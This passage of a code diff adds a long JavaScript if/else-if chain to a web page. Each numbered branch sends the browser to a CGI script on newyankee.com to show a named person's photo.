+ else if (jumpto == [40]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cafrancissmith.jpg";
+ else if (jumpto == [41]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cafranklombano.jpg";
+ else if (jumpto == [42]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajaredweaver.jpg";
+ else if (jumpto == [43]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajerrythompson.jpg";
+ else if (jumpto == [44]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajimjanssen";
+ else if (jumpto == [45]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajohncopolillo.jpg";
+ else if (jumpto == [46]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cajohnmessick.jpg";
+ else if (jumpto == [47]) window.location = "http://www.newyankee.com/GetYankees2.cgi?calaynedicker.jpg";
+ else if (jumpto == [48]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caleeannrucker.jpg";
+ else if (jumpto == [49]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camathewsscharch.jpg";
+ else if (jumpto == [50]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikedunn.jpg";
+ else if (jumpto == [51]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikeshay.jpg";
+ else if (jumpto == [52]) window.location = "http://www.newyankee.com/GetYankees2.cgi?camikeshepherd.jpg";
+ else if (jumpto == [53]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caphillipfreer.jpg";
+ else if (jumpto == [54]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carandy.jpg";
+ else if (jumpto == [55]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carichardwilliams.jpg";
+ else if (jumpto == [56]) window.location = "http://www.newyankee.com/GetYankees2.cgi?carickgruen.jpg";
+ else if (jumpto == [57]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cascottbartsch.jpg";
+ else if (jumpto == [58]) window.location = "http://www.newyankee.com/GetYankees2.cgi?castevestrapac.jpg";
+ else if (jumpto == [59]) window.location = "http://www.newyankee.com/GetYankees2.cgi?catimwest.jpg";
+ else if (jumpto == [60]) window.location = "http://www.newyankee.com/GetYankees2.cgi?catomrietveld.jpg";
+ else if (jumpto == [61]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalainpaquette.jpg";
+ else if (jumpto == [62]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalanhill.jpg";
+ else if (jumpto == [63]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnalguerette.jpg";
+ else if (jumpto == [64]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnbrianhogg.jpg";
+ else if (jumpto == [65]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnbrucebeard.jpg";
+ else if (jumpto == [66]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cncraigdavey.jpg";
+ else if (jumpto == [67]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cndanielpattison.jpg";
+ else if (jumpto == [68]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cndenisstjean.jpg";
+ else if (jumpto == [69]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnglenngray.jpg";
+ else if (jumpto == [70]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnjeansebastienduguay.jpg";
+ else if (jumpto == [71]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnjohnbritz.jpg";
+ else if (jumpto == [72]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnkevinmclean.jpg";
+ else if (jumpto == [73]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmarcandrecartier.jpg";
+ else if (jumpto == [74]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmarcleblanc.jpg";
+ else if (jumpto == [75]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmatthewgiles.jpg";
+ else if (jumpto == [76]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnmichelrauzon.jpg";
+ else if (jumpto == [77]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnpierrelalonde.jpg";
+ else if (jumpto == [78]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnraytyson.jpg";
+ else if (jumpto == [79]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnrichardboucher.jpg";
+ else if (jumpto == [80]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnrodbuike.jpg";
+ else if (jumpto == [81]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnscottpitkeathly.jpg";
+ else if (jumpto == [82]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnshawndavis.jpg";
+ else if (jumpto == [83]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnstephanepelletier.jpg";
+ else if (jumpto == [84]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cntodddesroches.jpg";
+ else if (jumpto == [85]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cntonyharnum.jpg";
+ else if (jumpto == [86]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cnwayneconabree.jpg";
+ else if (jumpto == [87]) window.location = "http://www.newyankee.com/GetYankees2.cgi?codavidjbarber.jpg";
+ else if (jumpto == [88]) window.location = "http://www.newyankee.com/GetYankees2.cgi?codonrandquist.jpg";
+ else if (jumpto == [89]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cojeffpalese.jpg";
+ else if (jumpto == [90]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cojohnlowell.jpg";
+ else if (jumpto == [91]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cotroytorgerson.jpg";
+ else if (jumpto == [92]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctgerrygranatowski.jpg";
+ else if (jumpto == [93]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctjasonklein.jpg";
+ else if (jumpto == [94]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctkevinkiss.jpg";
+ else if (jumpto == [95]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ctmikekennedy.jpg";
+ else if (jumpto == [96]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flalancanfield.jpg";
+ else if (jumpto == [97]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flalbertgonzalez.jpg";
+ else if (jumpto == [98]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flbruceloy.jpg";
+ else if (jumpto == [99]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fldandevault.jpg";
+ else if (jumpto == [100]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fldonstclair.jpg";
+ else if (jumpto == [101]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flernestbonnell.jpg";
+ else if (jumpto == [102]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgeorgebarg.jpg";
+ else if (jumpto == [103]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgregslavinski.jpg";
+ else if (jumpto == [104]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flgregwaters.jpg";
+ else if (jumpto == [105]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flharoldmiller.jpg";
+ else if (jumpto == [106]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fljackwelch.jpg";
+ else if (jumpto == [107]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flmichaelostrowski.jpg";
+ else if (jumpto == [108]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flpauldoman.jpg";
+ else if (jumpto == [109]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flpaulsessions.jpg";
+ else if (jumpto == [110]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flrandymys.jpg";
+ else if (jumpto == [111]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flraysarnowski.jpg";
+ else if (jumpto == [112]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flrobertcahill.jpg";
+ else if (jumpto == [113]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flstevemorrison.jpg";
+ else if (jumpto == [114]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flstevezellner.jpg";
+ else if (jumpto == [115]) window.location = "http://www.newyankee.com/GetYankees2.cgi?flterryjennings.jpg";
+ else if (jumpto == [116]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fltimmcwilliams.jpg";
+ else if (jumpto == [117]) window.location = "http://www.newyankee.com/GetYankees2.cgi?fltomstellhorn.jpg";
+ else if (jumpto == [118]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gabobkoch.jpg";
+ else if (jumpto == [119]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gabrucekinney.jpg";
+ else if (jumpto == [120]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gadickbesemer.jpg";
+ else if (jumpto == [121]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajackclunen.jpg";
+ else if (jumpto == [122]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajayhart.jpg";
+ else if (jumpto == [123]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gajjgeller.jpg";
+ else if (jumpto == [124]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gakeithlacey.jpg";
+ else if (jumpto == [125]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamargieminutello.jpg";
+ else if (jumpto == [126]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamarvinearnest.jpg";
+ else if (jumpto == [127]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamikeschwarz.jpg";
+ else if (jumpto == [128]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gamikeyee.jpg";
+ else if (jumpto == [129]) window.location = "http://www.newyankee.com/GetYankees2.cgi?garickdubree.jpg";
+ else if (jumpto == [130]) window.location = "http://www.newyankee.com/GetYankees2.cgi?garobimartin.jpg";
+ else if (jumpto == [131]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gastevewaddell.jpg";
+ else if (jumpto == [132]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gathorwiggins.jpg";
+ else if (jumpto == [133]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gawadewylie.jpg";
+ else if (jumpto == [134]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gawaynerobinson.jpg";
+ else if (jumpto == [135]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gepaulwestbury.jpg";
+ else if (jumpto == [136]) window.location = "http://www.newyankee.com/GetYankees2.cgi?grstewartcwolfe.jpg";
+ else if (jumpto == [137]) window.location = "http://www.newyankee.com/GetYankees2.cgi?gugregmesa.jpg";
+ else if (jumpto == [138]) window.location = "http://www.newyankee.com/GetYankees2.cgi?hibriantokunaga.jpg";
+ else if (jumpto == [139]) window.location = "http://www.newyankee.com/GetYankees2.cgi?himatthewgrady.jpg";
+ else if (jumpto == [140]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iabobparnell.jpg";
+ else if (jumpto == [141]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iadougleonard.jpg";
+ else if (jumpto == [142]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iajayharmon.jpg";
+ else if (jumpto == [143]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iajohnbevier.jpg";
+ else if (jumpto == [144]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iamartywitt.jpg";
+ else if (jumpto == [145]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idjasonbartschi.jpg";
+ else if (jumpto == [146]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idkellyklaas.jpg";
+ else if (jumpto == [147]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idmikegagnon.jpg";
+ else if (jumpto == [148]) window.location = "http://www.newyankee.com/GetYankees2.cgi?idrennieheuer.jpg";
+ else if (jumpto == [149]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilbenshakman.jpg";
+ else if (jumpto == [150]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilcraigstocks.jpg";
+ else if (jumpto == [151]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ildaverubini.jpg";
+ else if (jumpto == [152]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iledpepin.jpg";
+ else if (jumpto == [153]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilfredkirpec.jpg";
+ else if (jumpto == [154]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljoecreed.jpg";
+ else if (jumpto == [155]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljohnknuth.jpg";
+ else if (jumpto == [156]) window.location = "http://www.newyankee.com/GetYankees2.cgi?iljoshhill.jpg";
+ else if (jumpto == [157]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilkeithrichard.jpg";
+ else if (jumpto == [158]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilkrystleweber.jpg";
+ else if (jumpto == [159]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilmattmusich.jpg";
+ else if (jumpto == [160]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilmichaellane.jpg";
+ else if (jumpto == [161]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilrodneyschwandt.jpg";
+ else if (jumpto == [162]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilrogeraukerman.jpg";
+ else if (jumpto == [163]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilscottbreeden.jpg";
+ else if (jumpto == [164]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilscottgerami.jpg";
+ else if (jumpto == [165]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilsteveritt.jpg";
+ else if (jumpto == [166]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilthomasfollin.jpg";
+ else if (jumpto == [167]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ilwaynesmith.jpg";
+ else if (jumpto == [168]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inallenwimberly.jpg";
+ else if (jumpto == [169]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inbutchmyers.jpg";
+ else if (jumpto == [170]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inderrickbentley.jpg";
+ else if (jumpto == [171]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inedmeissler.jpg";
+ else if (jumpto == [172]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ingarymartin.jpg";
+ else if (jumpto == [173]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injasondavis.jpg";
+ else if (jumpto == [174]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injeffjones.jpg";
+ else if (jumpto == [175]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injeffwilliams.jpg";
+ else if (jumpto == [176]) window.location = "http://www.newyankee.com/GetYankees2.cgi?injpreslyharrington.jpg";
+ else if (jumpto == [177]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inrichardlouden.jpg";
+ else if (jumpto == [178]) window.location = "http://www.newyankee.com/GetYankees2.cgi?inronmorrell.jpg";
+ else if (jumpto == [179]) window.location = "http://www.newyankee.com/GetYankees2.cgi?insearsweaver.jpg";
+ else if (jumpto == [180]) window.location = "http://www.newyankee.com/GetYankees2.cgi?irpaullaverty.jpg";
+ else if (jumpto == [181]) window.location = "http://www.newyankee.com/GetYankees2.cgi?irseamusmcbride.jpg";
+ else if (jumpto == [182]) window.location = "http://www.newyankee.com/GetYankees2.cgi?isazrielmorag.jpg";
+ else if (jumpto == [183]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksalankreifels.jpg";
+ else if (jumpto == [184]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksbrianbudden.jpg";
+ else if (jumpto == [185]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksgarypahls.jpg";
+ else if (jumpto == [186]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksmikefarnet.jpg";
+ else if (jumpto == [187]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ksmikethomas.jpg";
+ else if (jumpto == [188]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kstomzillig.jpg";
+ else if (jumpto == [189]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kybillyandrews.jpg";
+ else if (jumpto == [190]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kydaveryno.jpg";
+ else if (jumpto == [191]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kygreglaramore.jpg";
+ else if (jumpto == [192]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kywilliamanderson.jpg";
+ else if (jumpto == [193]) window.location = "http://www.newyankee.com/GetYankees2.cgi?kyzachschuyler.jpg";
+ else if (jumpto == [194]) window.location = "http://www.newyankee.com/GetYankees2.cgi?laadriankliebert.jpg";
+ else if (jumpto == [195]) window.location = "http://www.newyankee.com/GetYankees2.cgi?labarryhumphus.jpg";
+ else if (jumpto == [196]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ladennisanders.jpg";
+ else if (jumpto == [197]) window.location = "http://www.newyankee.com/GetYankees2.cgi?larichardeckert.jpg";
+ else if (jumpto == [198]) window.location = "http://www.newyankee.com/GetYankees2.cgi?laronjames.jpg";
+ else if (jumpto == [199]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lasheldonstutes.jpg";
+ else if (jumpto == [200]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lastephenstarbuck.jpg";
+ else if (jumpto == [201]) window.location = "http://www.newyankee.com/GetYankees2.cgi?latroyestonich.jpg";
+ else if (jumpto == [202]) window.location = "http://www.newyankee.com/GetYankees2.cgi?lavaughntrosclair.jpg";
+ else if (jumpto == [203]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maalexbrown.jpg";
+ else if (jumpto == [204]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maalwencl.jpg";
+ else if (jumpto == [205]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mabrentmills.jpg";
+ else if (jumpto == [206]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madangodziff.jpg";
+ else if (jumpto == [207]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madanielwilusz.jpg";
+ else if (jumpto == [208]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madavidreis.jpg";
+ else if (jumpto == [209]) window.location = "http://www.newyankee.com/GetYankees2.cgi?madougrecko.jpg";
+ else if (jumpto == [210]) window.location = "http://www.newyankee.com/GetYankees2.cgi?majasonhaley.jpg";
+ else if (jumpto == [211]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maklausjensen.jpg";
+ else if (jumpto == [212]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mamikemarland.jpg";
+ else if (jumpto == [213]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mapetersilvestre.jpg";
+ else if (jumpto == [214]) window.location = "http://www.newyankee.com/GetYankees2.cgi?maraysweeney.jpg";
+ else if (jumpto == [215]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdallenbarnett.jpg";
+ else if (jumpto == [216]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdcharleswasson.jpg";
+ else if (jumpto == [217]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdedbaranowski.jpg";
+ else if (jumpto == [218]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdfranktate.jpg";
+ else if (jumpto == [219]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdfredschock.jpg";
+ else if (jumpto == [220]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdianstjohn.jpg";
+ else if (jumpto == [221]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdjordanevans.jpg";
+ else if (jumpto == [222]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mdpaulwjones.jpg";
+ else if (jumpto == [223]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mestevesandelier.jpg";
+ else if (jumpto == [224]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mewilbertrbrown.jpg";
+ else if (jumpto == [225]) window.location = "http://www.newyankee.com/GetYankees2.cgi?midavidkeller.jpg";
+ else if (jumpto == [226]) window.location = "http://www.newyankee.com/GetYankees2.cgi?migaryvandenberg.jpg";
+ else if (jumpto == [227]) window.location = "http://www.newyankee.com/GetYankees2.cgi?migeorgeberlinger.jpg";
+ else if (jumpto == [228]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijamesstapleton.jpg";
+ else if (jumpto == [229]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijerryhaney.jpg";
+ else if (jumpto == [230]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mijohnrybarczyk.jpg";
+ else if (jumpto == [231]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mikeithvalliere.jpg";
+ else if (jumpto == [232]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mikevinpodsiadlik.jpg";
+ else if (jumpto == [233]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimarkandrews.jpg";
+ else if (jumpto == [234]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimikedecaussin.jpg";
+ else if (jumpto == [235]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mimikesegorski.jpg";
+ else if (jumpto == [236]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mirobertwolgast.jpg";
+ else if (jumpto == [237]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mitimothybruner.jpg";
+ else if (jumpto == [238]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mitomweaver.jpg";
+ else if (jumpto == [239]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnbobgontarek.jpg";
+ else if (jumpto == [240]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnbradbuffington.jpg";
+ else if (jumpto == [241]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mndavewilson.jpg";
+ else if (jumpto == [242]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mngenerajanen.jpg";
+ else if (jumpto == [243]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnjohnkempkes.jpg";
+ else if (jumpto == [244]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnkevinhurbanis.jpg";
+ else if (jumpto == [245]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnmarklansink.jpg";
+ else if (jumpto == [246]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnpaulmayer.jpg";
+ else if (jumpto == [247]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnpauloman.jpg";
+ else if (jumpto == [248]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mnwoodylobnitz.jpg";
+ else if (jumpto == [249]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mocurtkempf.jpg";
+ else if (jumpto == [250]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojerryhenry.jpg";
+ else if (jumpto == [251]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojimfinney.jpg";
+ else if (jumpto == [252]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojimrecamper.jpg";
+ else if (jumpto == [253]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojohntimmons.jpg";
+ else if (jumpto == [254]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mojohnvaughan.jpg";
+ else if (jumpto == [255]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mokenroberts.jpg";
+ else if (jumpto == [256]) window.location = "http://www.newyankee.com/GetYankees2.cgi?momacvoss.jpg";
+ else if (jumpto == [257]) window.location = "http://www.newyankee.com/GetYankees2.cgi?momarktemmer.jpg";
+ else if (jumpto == [258]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mopaulzerjav.jpg";
+ else if (jumpto == [259]) window.location = "http://www.newyankee.com/GetYankees2.cgi?morobtigner.jpg";
+ else if (jumpto == [260]) window.location = "http://www.newyankee.com/GetYankees2.cgi?motomantrim.jpg";
+ else if (jumpto == [261]) window.location = "http://www.newyankee.com/GetYankees2.cgi?mscharleshahn.jpg";
+ else if (jumpto == [262]) window.location = "http://www.newyankee.com/GetYankees2.cgi?msjohnjohnson.jpg";
+ else if (jumpto == [263]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncandrelopez.jpg";
+ else if (jumpto == [264]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncedorisak.jpg";
+ else if (jumpto == [265]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncjimisbell.jpg";
+ else if (jumpto == [266]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncjohnnydark.jpg";
+ else if (jumpto == [267]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nckevinebert.jpg";
+ else if (jumpto == [268]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nckevinulmer.jpg";
+ else if (jumpto == [269]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncpeteparis.jpg";
+ else if (jumpto == [270]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncstevelindsley.jpg";
+ else if (jumpto == [271]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nctimsmith.jpg";
+ else if (jumpto == [272]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nctonylawrence.jpg";
+ else if (jumpto == [273]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ncwyneaston.jpg";
+ else if (jumpto == [274]) window.location = "http://www.newyankee.com/GetYankees2.cgi?neberniedevlin.jpg";
+ else if (jumpto == [275]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nebrentesmoil.jpg";
+ else if (jumpto == [276]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nescottmccullough.jpg";
+ else if (jumpto == [277]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhalantarring.jpg";
+ else if (jumpto == [278]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhbjmolinari.jpg";
+ else if (jumpto == [279]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhbrianmolinari.jpg";
+ else if (jumpto == [280]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhdanhorning.jpg";
+ else if (jumpto == [281]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhdonblackden.jpg";
+ else if (jumpto == [282]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjimcalandriello.jpg";
+ else if (jumpto == [283]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjohngunterman.jpg";
+ else if (jumpto == [284]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjohnmagyar.jpg";
+ else if (jumpto == [285]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njbudclarity.jpg";
+ else if (jumpto == [286]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njcraigjones.jpg";
+ else if (jumpto == [287]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njericrowland.jpg";
+ else if (jumpto == [288]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njjimsnyder.jpg";
+ else if (jumpto == [289]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njlarrylevinson.jpg";
+ else if (jumpto == [290]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njlouisdispensiere.jpg";
+ else if (jumpto == [291]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmarksoloff.jpg";
+ else if (jumpto == [292]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmichaelhalko.jpg";
+ else if (jumpto == [293]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmichaelmalkasian.jpg";
+ else if (jumpto == [294]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njnigelmartin.jpg";
+ else if (jumpto == [295]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njrjmolinari.jpg";
+ else if (jumpto == [296]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njtommurasky.jpg";
+ else if (jumpto == [297]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njtomputnam.jpg";
+ else if (jumpto == [298]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nmdalepage.jpg";
+ else if (jumpto == [299]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nmmikethompson.jpg";
+ else if (jumpto == [300]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvclydekemp.jpg";
+ else if (jumpto == [301]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvharveyklene.jpg";
+ else if (jumpto == [302]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvlonsimons.jpg";
+ else if (jumpto == [303]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyabeweisfelner.jpg";
+ else if (jumpto == [304]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyanthonygiudice.jpg";
+ else if (jumpto == [305]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyaustinpierce.jpg";
+ else if (jumpto == [306]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nybrianmonks.jpg";
+ else if (jumpto == [307]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nycharlieporter.jpg";
+ else if (jumpto == [308]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nycorneliuswoglum.jpg";
+ else if (jumpto == [309]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nydennishartwell.jpg";
+ else if (jumpto == [310]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nydennissgheerdt.jpg";
+ else if (jumpto == [311]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nygeorgepettitt.jpg";
+ else if (jumpto == [312]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyjohndrewes.jpg";
+ else if (jumpto == [313]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyjohnminichiello.jpg";
+ else if (jumpto == [314]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nykevinwoolever.jpg";
+ else if (jumpto == [315]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nymartyrubinstein.jpg";
+ else if (jumpto == [316]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyraysicina.jpg";
